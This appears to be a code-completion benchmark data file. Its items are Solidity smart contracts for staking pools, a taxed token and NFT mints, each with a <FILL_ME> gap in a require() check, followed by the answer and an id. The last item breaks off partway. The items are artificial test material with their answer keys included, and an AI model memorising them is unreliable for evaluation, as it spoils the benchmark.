uint256 amount; // How many staked tokens the user has provided
uint256 locked;
uint256 available;
}
struct Stake {
uint8 stakeType;
uint256 amount; // amount to stake
uint256 duration; // the lockup duration of the stake
uint256 end; // when does the staking period end
uint256 rewardDebt; // Reward debt
uint256 reflectionDebt; // Reflection debt
}
uint256 constant MAX_STAKES = 256;
Lockup[] public lockups;
mapping(address => Stake[]) public userStakes;
mapping(address => UserInfo) public userStaked;
event Deposit(address indexed user, uint256 stakeType, uint256 amount);
event Withdraw(address indexed user, uint256 stakeType, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event AdminTokenRecovered(address tokenRecovered, uint256 amount);
event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock);
event LockupUpdated(uint8 _type, uint256 _duration, uint256 _fee0, uint256 _fee1, uint256 _rate);
event RewardsStop(uint256 blockNumber);
event EndBlockUpdated(uint256 blockNumber);
event UpdatePoolLimit(uint256 poolLimitPerUser, bool hasLimit);
event ServiceInfoUpadted(address _addr, uint256 _fee);
event DurationUpdated(uint256 _duration);
event SetSettings(
uint256 _slippageFactor,
address _uniRouter,
address[] _path0,
address[] _path1,
address _walletA
);
constructor() {}
/*
* @notice Initialize the contract
* @param _stakingToken: staked token address
* @param _earnedToken: earned token address
* @param _dividendToken: reflection token address
* @param _uniRouter: uniswap router address for swap tokens
* @param _earnedToStakedPath: swap path to compound (earned -> staking path)
* @param _reflectionToStakedPath: swap path to compound (reflection -> staking path)
*/
function initialize(
IERC20 _stakingToken,
IERC20 _earnedToken,
address _dividendToken,
address _uniRouter,
address[] memory _earnedToStakedPath,
address[] memory _reflectionToStakedPath
) external onlyOwner {
}
function deposit(uint256 _amount, uint8 _stakeType) external payable nonReentrant {
require(startBlock > 0 && startBlock < block.number, "Staking hasn't started yet");
require(_amount > 0, "Amount should be greator than 0");
require(_stakeType < lockups.length, "Invalid stake type");
_transferPerformanceFee();
_updatePool(_stakeType);
UserInfo storage user = userStaked[msg.sender];
Stake[] storage stakes = userStakes[msg.sender];
Lockup storage lockup = lockups[_stakeType];
if(lockup.totalStakedLimit > 0) {
require(lockup.totalStaked < lockup.totalStakedLimit, "Total staked limit exceeded");
if(lockup.totalStaked + _amount > lockup.totalStakedLimit) {
_amount = lockup.totalStakedLimit - lockup.totalStaked;
}
}
uint256 pending = 0;
uint256 pendingReflection = 0;
for(uint256 j = 0; j < stakes.length; j++) {
Stake storage stake = stakes[j];
if(stake.stakeType != _stakeType) continue;
if(stake.amount == 0) continue;
pendingReflection = pendingReflection + (
stake.amount * accDividendPerShare / PRECISION_FACTOR_REFLECTION - stake.reflectionDebt
);
uint256 _pending = stake.amount * lockup.accTokenPerShare / PRECISION_FACTOR - stake.rewardDebt;
pending = pending + _pending;
stake.rewardDebt = stake.amount * lockup.accTokenPerShare / PRECISION_FACTOR;
stake.reflectionDebt = stake.amount * accDividendPerShare / PRECISION_FACTOR_REFLECTION;
}
if (pending > 0) {
require(<FILL_ME>)
earnedToken.safeTransfer(address(msg.sender), pending);
_updateEarned(pending);
paidRewards = paidRewards + pending;
}
pendingReflection = estimateDividendAmount(pendingReflection);
if (pendingReflection > 0) {
_transferToken(dividendToken, msg.sender, pendingReflection);
totalReflections = totalReflections - pendingReflection;
}
uint256 beforeAmount = stakingToken.balanceOf(address(this));
stakingToken.safeTransferFrom(address(msg.sender), address(this), _amount);
uint256 afterAmount = stakingToken.balanceOf(address(this));
uint256 realAmount = afterAmount - beforeAmount;
if (hasUserLimit) {
require(
realAmount + user.amount <= poolLimitPerUser,
"User amount above limit"
);
}
if (lockup.depositFee > 0) {
uint256 fee = realAmount * lockup.depositFee / 10000;
if (fee > 0) {
stakingToken.safeTransfer(walletA, fee);
realAmount = realAmount - fee;
}
}
_addStake(_stakeType, msg.sender, lockup.duration, realAmount);
user.amount = user.amount + realAmount;
lockup.totalStaked = lockup.totalStaked + realAmount;
totalStaked = totalStaked + realAmount;
emit Deposit(msg.sender, _stakeType, realAmount);
}
function _addStake(uint8 _stakeType, address _account, uint256 _duration, uint256 _amount) internal {
}
function withdraw(uint256 _amount, uint8 _stakeType) external payable nonReentrant {
}
function claimReward(uint8 _stakeType) external payable nonReentrant {
}
function claimDividend(uint8 _stakeType) external payable nonReentrant {
}
function compoundReward(uint8 _stakeType) external payable nonReentrant {
}
function compoundDividend(uint8 _stakeType) external payable nonReentrant {
}
function _transferPerformanceFee() internal {
}
function emergencyWithdraw(uint8 _stakeType) external nonReentrant {
}
function rewardPerBlock(uint8 _stakeType) external view returns (uint256) {
}
function availableRewardTokens() public view returns (uint256) {
}
function availableDividendTokens() public view returns (uint256) {
}
function insufficientRewards() external view returns (uint256) {
}
function userInfo(uint8 _stakeType, address _account) external view returns (uint256 amount, uint256 available, uint256 locked) {
}
function pendingReward(address _account, uint8 _stakeType) external view returns (uint256) {
}
function pendingDividends(address _account, uint8 _stakeType) external view returns (uint256) {
}
/************************
** Admin Methods
*************************/
function harvest() external onlyOwner {
}
function depositRewards(uint _amount) external onlyOwner nonReentrant {
}
function increaseEmissionRate(uint8 _stakeType, uint256 _amount) external onlyOwner {
}
function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
}
function startReward() external onlyOwner {
}
function stopReward() external onlyOwner {
}
function updateEndBlock(uint256 _endBlock) external onlyOwner {
}
function updatePoolLimitPerUser( bool _hasUserLimit, uint256 _poolLimitPerUser) external onlyOwner {
}
function updateLockup(uint8 _stakeType, uint256 _duration, uint256 _depositFee, uint256 _withdrawFee, uint256 _rate, uint256 _totalStakedLimit) external onlyOwner {
}
function addLockup(uint256 _duration, uint256 _depositFee, uint256 _withdrawFee, uint256 _rate, uint256 _totalStakedLimit) external onlyOwner {
}
function setServiceInfo(address _addr, uint256 _fee) external {
}
function setDuration(uint256 _duration) external onlyOwner {
}
function setSettings(
uint256 _slippageFactor,
address _uniRouter,
address[] memory _earnedToStakedPath,
address[] memory _reflectionToStakedPath,
address _feeAddr
) external onlyOwner {
}
function _updatePool(uint8 _stakeType) internal {
}
function estimateDividendAmount(uint256 amount) internal view returns(uint256) {
}
function _getMultiplier(uint256 _from, uint256 _to)
internal
view
returns (uint256)
{
}
function _transferToken(address _token, address _to, uint256 _amount) internal {
}
function _updateEarned(uint256 _amount) internal {
}
function _safeSwapNative(
uint256 _amountIn,
address[] memory _path,
address _to
) internal {
}
receive() external payable {}
}
| availableRewardTokens()>=pending,"Insufficient reward tokens" | 78,783 | availableRewardTokens()>=pending |
"User amount above limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IUniRouter02.sol";
import "./interfaces/IWETH.sol";
interface IToken {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
}
contract YieldilizerBoostStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
bool public isInitialized;
uint256 public duration = 365;
bool public hasUserLimit;
uint256 public poolLimitPerUser;
uint256 public startBlock;
uint256 public bonusEndBlock;
uint256 public slippageFactor = 800; // 20% default slippage tolerance
uint256 public constant slippageFactorUL = 995;
address public uniRouterAddress;
address[] public reflectionToStakedPath;
address[] public earnedToStakedPath;
address public walletA;
address public treasuryWallet = 0x63ED01F0dfe1cbD3Eb2631E9BE998B40a211BA54;
uint256 public performanceFee = 0.00089 ether;
uint256 public PRECISION_FACTOR;
uint256 public PRECISION_FACTOR_REFLECTION;
IERC20 public stakingToken;
IERC20 public earnedToken;
address public dividendToken;
uint256 public accDividendPerShare;
uint256 public totalStaked;
uint256 private totalEarned;
uint256 private totalReflections;
uint256 private reflections;
uint256 private paidRewards;
uint256 private shouldTotalPaid;
struct Lockup {
uint8 stakeType;
uint256 duration;
uint256 depositFee;
uint256 withdrawFee;
uint256 rate;
uint256 accTokenPerShare;
uint256 lastRewardBlock;
uint256 totalStaked;
uint256 totalStakedLimit;
}
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
uint256 locked;
uint256 available;
}
struct Stake {
uint8 stakeType;
uint256 amount; // amount to stake
uint256 duration; // the lockup duration of the stake
uint256 end; // when does the staking period end
uint256 rewardDebt; // Reward debt
uint256 reflectionDebt; // Reflection debt
}
uint256 constant MAX_STAKES = 256;
Lockup[] public lockups;
mapping(address => Stake[]) public userStakes;
mapping(address => UserInfo) public userStaked;
event Deposit(address indexed user, uint256 stakeType, uint256 amount);
event Withdraw(address indexed user, uint256 stakeType, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event AdminTokenRecovered(address tokenRecovered, uint256 amount);
event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock);
event LockupUpdated(uint8 _type, uint256 _duration, uint256 _fee0, uint256 _fee1, uint256 _rate);
event RewardsStop(uint256 blockNumber);
event EndBlockUpdated(uint256 blockNumber);
event UpdatePoolLimit(uint256 poolLimitPerUser, bool hasLimit);
event ServiceInfoUpadted(address _addr, uint256 _fee);
event DurationUpdated(uint256 _duration);
event SetSettings(
uint256 _slippageFactor,
address _uniRouter,
address[] _path0,
address[] _path1,
address _walletA
);
constructor() {}
/*
* @notice Initialize the contract
* @param _stakingToken: staked token address
* @param _earnedToken: earned token address
* @param _dividendToken: reflection token address
* @param _uniRouter: uniswap router address for swap tokens
* @param _earnedToStakedPath: swap path to compound (earned -> staking path)
* @param _reflectionToStakedPath: swap path to compound (reflection -> staking path)
*/
function initialize(
IERC20 _stakingToken,
IERC20 _earnedToken,
address _dividendToken,
address _uniRouter,
address[] memory _earnedToStakedPath,
address[] memory _reflectionToStakedPath
) external onlyOwner {
}
function deposit(uint256 _amount, uint8 _stakeType) external payable nonReentrant {
require(startBlock > 0 && startBlock < block.number, "Staking hasn't started yet");
require(_amount > 0, "Amount should be greator than 0");
require(_stakeType < lockups.length, "Invalid stake type");
_transferPerformanceFee();
_updatePool(_stakeType);
UserInfo storage user = userStaked[msg.sender];
Stake[] storage stakes = userStakes[msg.sender];
Lockup storage lockup = lockups[_stakeType];
if(lockup.totalStakedLimit > 0) {
require(lockup.totalStaked < lockup.totalStakedLimit, "Total staked limit exceeded");
if(lockup.totalStaked + _amount > lockup.totalStakedLimit) {
_amount = lockup.totalStakedLimit - lockup.totalStaked;
}
}
uint256 pending = 0;
uint256 pendingReflection = 0;
for(uint256 j = 0; j < stakes.length; j++) {
Stake storage stake = stakes[j];
if(stake.stakeType != _stakeType) continue;
if(stake.amount == 0) continue;
pendingReflection = pendingReflection + (
stake.amount * accDividendPerShare / PRECISION_FACTOR_REFLECTION - stake.reflectionDebt
);
uint256 _pending = stake.amount * lockup.accTokenPerShare / PRECISION_FACTOR - stake.rewardDebt;
pending = pending + _pending;
stake.rewardDebt = stake.amount * lockup.accTokenPerShare / PRECISION_FACTOR;
stake.reflectionDebt = stake.amount * accDividendPerShare / PRECISION_FACTOR_REFLECTION;
}
if (pending > 0) {
require(availableRewardTokens() >= pending, "Insufficient reward tokens");
earnedToken.safeTransfer(address(msg.sender), pending);
_updateEarned(pending);
paidRewards = paidRewards + pending;
}
pendingReflection = estimateDividendAmount(pendingReflection);
if (pendingReflection > 0) {
_transferToken(dividendToken, msg.sender, pendingReflection);
totalReflections = totalReflections - pendingReflection;
}
uint256 beforeAmount = stakingToken.balanceOf(address(this));
stakingToken.safeTransferFrom(address(msg.sender), address(this), _amount);
uint256 afterAmount = stakingToken.balanceOf(address(this));
uint256 realAmount = afterAmount - beforeAmount;
if (hasUserLimit) {
require(<FILL_ME>)
}
if (lockup.depositFee > 0) {
uint256 fee = realAmount * lockup.depositFee / 10000;
if (fee > 0) {
stakingToken.safeTransfer(walletA, fee);
realAmount = realAmount - fee;
}
}
_addStake(_stakeType, msg.sender, lockup.duration, realAmount);
user.amount = user.amount + realAmount;
lockup.totalStaked = lockup.totalStaked + realAmount;
totalStaked = totalStaked + realAmount;
emit Deposit(msg.sender, _stakeType, realAmount);
}
function _addStake(uint8 _stakeType, address _account, uint256 _duration, uint256 _amount) internal {
}
function withdraw(uint256 _amount, uint8 _stakeType) external payable nonReentrant {
}
function claimReward(uint8 _stakeType) external payable nonReentrant {
}
function claimDividend(uint8 _stakeType) external payable nonReentrant {
}
function compoundReward(uint8 _stakeType) external payable nonReentrant {
}
function compoundDividend(uint8 _stakeType) external payable nonReentrant {
}
function _transferPerformanceFee() internal {
}
function emergencyWithdraw(uint8 _stakeType) external nonReentrant {
}
function rewardPerBlock(uint8 _stakeType) external view returns (uint256) {
}
function availableRewardTokens() public view returns (uint256) {
}
function availableDividendTokens() public view returns (uint256) {
}
function insufficientRewards() external view returns (uint256) {
}
function userInfo(uint8 _stakeType, address _account) external view returns (uint256 amount, uint256 available, uint256 locked) {
}
function pendingReward(address _account, uint8 _stakeType) external view returns (uint256) {
}
function pendingDividends(address _account, uint8 _stakeType) external view returns (uint256) {
}
/************************
** Admin Methods
*************************/
function harvest() external onlyOwner {
}
function depositRewards(uint _amount) external onlyOwner nonReentrant {
}
function increaseEmissionRate(uint8 _stakeType, uint256 _amount) external onlyOwner {
}
function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
}
function startReward() external onlyOwner {
}
function stopReward() external onlyOwner {
}
function updateEndBlock(uint256 _endBlock) external onlyOwner {
}
function updatePoolLimitPerUser( bool _hasUserLimit, uint256 _poolLimitPerUser) external onlyOwner {
}
function updateLockup(uint8 _stakeType, uint256 _duration, uint256 _depositFee, uint256 _withdrawFee, uint256 _rate, uint256 _totalStakedLimit) external onlyOwner {
}
function addLockup(uint256 _duration, uint256 _depositFee, uint256 _withdrawFee, uint256 _rate, uint256 _totalStakedLimit) external onlyOwner {
}
function setServiceInfo(address _addr, uint256 _fee) external {
}
function setDuration(uint256 _duration) external onlyOwner {
}
function setSettings(
uint256 _slippageFactor,
address _uniRouter,
address[] memory _earnedToStakedPath,
address[] memory _reflectionToStakedPath,
address _feeAddr
) external onlyOwner {
}
function _updatePool(uint8 _stakeType) internal {
}
function estimateDividendAmount(uint256 amount) internal view returns(uint256) {
}
function _getMultiplier(uint256 _from, uint256 _to)
internal
view
returns (uint256)
{
}
function _transferToken(address _token, address _to, uint256 _amount) internal {
}
function _updateEarned(uint256 _amount) internal {
}
function _safeSwapNative(
uint256 _amountIn,
address[] memory _path,
address _to
) internal {
}
receive() external payable {}
}
| realAmount+user.amount<=poolLimitPerUser,"User amount above limit" | 78,783 | realAmount+user.amount<=poolLimitPerUser |
"Liquidity already added" | pragma solidity ^0.8.17;
contract TateCoin is ERC20, Ownable {
uint256 public buyTaxPercentage;
uint256 public sellTaxPercentage;
uint256 public maxBuy;
bool public tradingEnabled;
address public uniswapPair;
address public marketingWallet;
address public cexWallet;
address public partnershipWallet;
address public taxWallet;
bool private liquidityAdded;
constructor(
address _marketingWallet,
address _cexWallet,
address _taxWallet,
address _partnershipWallet
) ERC20("Tate 2.0", "TATE2.0") {
}
function addLiquidity() public onlyOwner {
require(<FILL_ME>)
liquidityAdded = true;
}
function setMaxBuy(uint256 _maxBuy) public onlyOwner {
}
function setBuyTaxPercentage(uint256 _buyTaxPercentage) public onlyOwner {
}
function setSellTaxPercentage(uint256 _sellTaxPercentage) public onlyOwner {
}
function setUniswapPair(address _uniswapPair) public onlyOwner {
}
function enableTrading() public onlyOwner {
}
// Override the _transfer function to apply taxes on transfers
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
}
}
| !liquidityAdded,"Liquidity already added" | 78,900 | !liquidityAdded |
"Trading is not enabled" | pragma solidity ^0.8.17;
contract TateCoin is ERC20, Ownable {
uint256 public buyTaxPercentage;
uint256 public sellTaxPercentage;
uint256 public maxBuy;
bool public tradingEnabled;
address public uniswapPair;
address public marketingWallet;
address public cexWallet;
address public partnershipWallet;
address public taxWallet;
bool private liquidityAdded;
constructor(
address _marketingWallet,
address _cexWallet,
address _taxWallet,
address _partnershipWallet
) ERC20("Tate 2.0", "TATE2.0") {
}
function addLiquidity() public onlyOwner {
}
function setMaxBuy(uint256 _maxBuy) public onlyOwner {
}
function setBuyTaxPercentage(uint256 _buyTaxPercentage) public onlyOwner {
}
function setSellTaxPercentage(uint256 _sellTaxPercentage) public onlyOwner {
}
function setUniswapPair(address _uniswapPair) public onlyOwner {
}
function enableTrading() public onlyOwner {
}
// Override the _transfer function to apply taxes on transfers
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
require(<FILL_ME>)
uint256 taxPercentage;
if (sender == owner() || recipient == owner() || recipient == taxWallet || sender == taxWallet ) {
taxPercentage = 0;
} else if (recipient == uniswapPair) {
taxPercentage = sellTaxPercentage;
} else if (sender == uniswapPair) {
taxPercentage = buyTaxPercentage;
} else {
taxPercentage = 0;
}
uint256 taxAmount = (amount * taxPercentage) / 100;
uint256 netAmount = amount - taxAmount;
uint256 maxWalletAmount = totalSupply() * maxBuy / 100;
bool isExcludedWallet = (recipient == owner() || recipient == taxWallet || recipient == marketingWallet || recipient == cexWallet || recipient == partnershipWallet || recipient == uniswapPair);
if ((tradingEnabled && sender == uniswapPair) && !isExcludedWallet) {
require(balanceOf(recipient) + netAmount <= maxWalletAmount, "Forbid");
}
// Apply tax
super._transfer(sender, taxWallet, taxAmount);
// Transfer net amount to recipient
super._transfer(sender, recipient, netAmount);
}
}
| tradingEnabled||sender==owner()||recipient==owner(),"Trading is not enabled" | 78,900 | tradingEnabled||sender==owner()||recipient==owner() |
"Forbid" | pragma solidity ^0.8.17;
contract TateCoin is ERC20, Ownable {
uint256 public buyTaxPercentage;
uint256 public sellTaxPercentage;
uint256 public maxBuy;
bool public tradingEnabled;
address public uniswapPair;
address public marketingWallet;
address public cexWallet;
address public partnershipWallet;
address public taxWallet;
bool private liquidityAdded;
constructor(
address _marketingWallet,
address _cexWallet,
address _taxWallet,
address _partnershipWallet
) ERC20("Tate 2.0", "TATE2.0") {
}
function addLiquidity() public onlyOwner {
}
function setMaxBuy(uint256 _maxBuy) public onlyOwner {
}
function setBuyTaxPercentage(uint256 _buyTaxPercentage) public onlyOwner {
}
function setSellTaxPercentage(uint256 _sellTaxPercentage) public onlyOwner {
}
function setUniswapPair(address _uniswapPair) public onlyOwner {
}
function enableTrading() public onlyOwner {
}
// Override the _transfer function to apply taxes on transfers
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
require(tradingEnabled || sender == owner() || recipient == owner(), "Trading is not enabled");
uint256 taxPercentage;
if (sender == owner() || recipient == owner() || recipient == taxWallet || sender == taxWallet ) {
taxPercentage = 0;
} else if (recipient == uniswapPair) {
taxPercentage = sellTaxPercentage;
} else if (sender == uniswapPair) {
taxPercentage = buyTaxPercentage;
} else {
taxPercentage = 0;
}
uint256 taxAmount = (amount * taxPercentage) / 100;
uint256 netAmount = amount - taxAmount;
uint256 maxWalletAmount = totalSupply() * maxBuy / 100;
bool isExcludedWallet = (recipient == owner() || recipient == taxWallet || recipient == marketingWallet || recipient == cexWallet || recipient == partnershipWallet || recipient == uniswapPair);
if ((tradingEnabled && sender == uniswapPair) && !isExcludedWallet) {
require(<FILL_ME>)
}
// Apply tax
super._transfer(sender, taxWallet, taxAmount);
// Transfer net amount to recipient
super._transfer(sender, recipient, netAmount);
}
}
| balanceOf(recipient)+netAmount<=maxWalletAmount,"Forbid" | 78,900 | balanceOf(recipient)+netAmount<=maxWalletAmount |
"caller already minted for free" | pragma solidity >=0.7.0 <0.9.0;
contract BadArtYachtClub is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.0069 ether;
uint256 public maxSupply = 6969;
uint256 public maxMintAmountPerTx = 10;
uint256 public maxFreeMintPerWallet = 10;
bool public paused = true;
bool public revealed = true;
mapping(address => uint256) public addressToFreeMinted;
constructor() ERC721("BadArtYachtClub", "BadArtYachtClub") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
require(<FILL_ME>)
_mintLoop(msg.sender, _mintAmount);
addressToFreeMinted[msg.sender] += _mintAmount;
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| addressToFreeMinted[msg.sender]+_mintAmount<=maxFreeMintPerWallet,"caller already minted for free" | 78,935 | addressToFreeMinted[msg.sender]+_mintAmount<=maxFreeMintPerWallet |
"you have already max mint !" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract WorstCityNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
uint256 public totalSupply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public maxSupply = 5555;
uint256 public maxMintAmountPerContract = 2;
address[] whitelistAddresses;
bool public paused = true;
bool public whitelistRound = false;
bool public revealed = false;
constructor() ERC721("Worst City", "WC") {
}
function setIswhitelistEnabled(bool _state) public onlyOwner {
}
function mint() public {
require(!paused, "Mint event is paused!");
require(<FILL_ME>)
if(whitelistRound==true){
require(isWhitelistted(msg.sender), "user is not Whitelisted");
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}else if(whitelistRound==false){
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
if(totalSupply == 1500 || totalSupply == 3000 ){
paused = true;
}
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
}
function isWhitelistted(address _user) public view returns (bool) {
}
function setMaxMintAmountPerContract(uint256 _maxMintAmountPerContract) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| balanceOf(msg.sender)<maxMintAmountPerContract,"you have already max mint !" | 79,040 | balanceOf(msg.sender)<maxMintAmountPerContract |
"user is not Whitelisted" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract WorstCityNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
uint256 public totalSupply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public maxSupply = 5555;
uint256 public maxMintAmountPerContract = 2;
address[] whitelistAddresses;
bool public paused = true;
bool public whitelistRound = false;
bool public revealed = false;
constructor() ERC721("Worst City", "WC") {
}
function setIswhitelistEnabled(bool _state) public onlyOwner {
}
function mint() public {
require(!paused, "Mint event is paused!");
require(balanceOf(msg.sender) < maxMintAmountPerContract, "you have already max mint !");
if(whitelistRound==true){
require(<FILL_ME>)
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}else if(whitelistRound==false){
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
if(totalSupply == 1500 || totalSupply == 3000 ){
paused = true;
}
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
}
function isWhitelistted(address _user) public view returns (bool) {
}
function setMaxMintAmountPerContract(uint256 _maxMintAmountPerContract) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| isWhitelistted(msg.sender),"user is not Whitelisted" | 79,040 | isWhitelistted(msg.sender) |
"Max Game Plays Reached" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./StarLoop.sol";
contract Ribbits is StarLoop, Ownable, ERC721A {
using SafeMath for uint256;
constructor() ERC721A("Ribbits", "RIBBITS") {}
uint public constant MAX_PLAYS = 6969;
uint256 gameCost = .0420 ether;
string public _contractBaseURI;
event replay(address, uint256);
function devMint(uint amt) external onlyOwner {
}
function spinWheel(
uint8 v,
bytes32 r,
bytes32 s,
uint bytemap,
uint nstamp,
uint q,
uint a
) external payable {
uint vrf = processVrfSigned(v, r, s, bytemap, nstamp, q);
uint totalMinted = totalSupply();
require(q < 21, "Quantity too many");
require(q > 0, "Quantity cannot be zero");
require(<FILL_ME>)
require(gameCost.mul(a - vrf) <= msg.value, "Insufficient funds sent");
_safeMint(msg.sender, a);
emit replay(msg.sender, gameCost.mul(vrf));
if (a > vrf) payable(msg.sender).transfer(gameCost.mul(vrf));
}
function withdraw() external {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata _baseURIx) external onlyOwner {
}
}
| totalMinted.add(q)<MAX_PLAYS,"Max Game Plays Reached" | 79,075 | totalMinted.add(q)<MAX_PLAYS |
"Insufficient funds sent" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./StarLoop.sol";
contract Ribbits is StarLoop, Ownable, ERC721A {
using SafeMath for uint256;
constructor() ERC721A("Ribbits", "RIBBITS") {}
uint public constant MAX_PLAYS = 6969;
uint256 gameCost = .0420 ether;
string public _contractBaseURI;
event replay(address, uint256);
function devMint(uint amt) external onlyOwner {
}
function spinWheel(
uint8 v,
bytes32 r,
bytes32 s,
uint bytemap,
uint nstamp,
uint q,
uint a
) external payable {
uint vrf = processVrfSigned(v, r, s, bytemap, nstamp, q);
uint totalMinted = totalSupply();
require(q < 21, "Quantity too many");
require(q > 0, "Quantity cannot be zero");
require(totalMinted.add(q) < MAX_PLAYS, "Max Game Plays Reached");
require(<FILL_ME>)
_safeMint(msg.sender, a);
emit replay(msg.sender, gameCost.mul(vrf));
if (a > vrf) payable(msg.sender).transfer(gameCost.mul(vrf));
}
function withdraw() external {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata _baseURIx) external onlyOwner {
}
}
| gameCost.mul(a-vrf)<=msg.value,"Insufficient funds sent" | 79,075 | gameCost.mul(a-vrf)<=msg.value |
"Buy tax too high. Maximum of 20%" | /*
Socials -
Website: https://hoppymoonshots.com/
Twitter: https://twitter.com/hoppymoonshots
Telegram: https://t.me/hoppymoonshots
*/
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) { }
modifier onlyOwner() { }
function renounceOwnership() public virtual onlyOwner { }
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
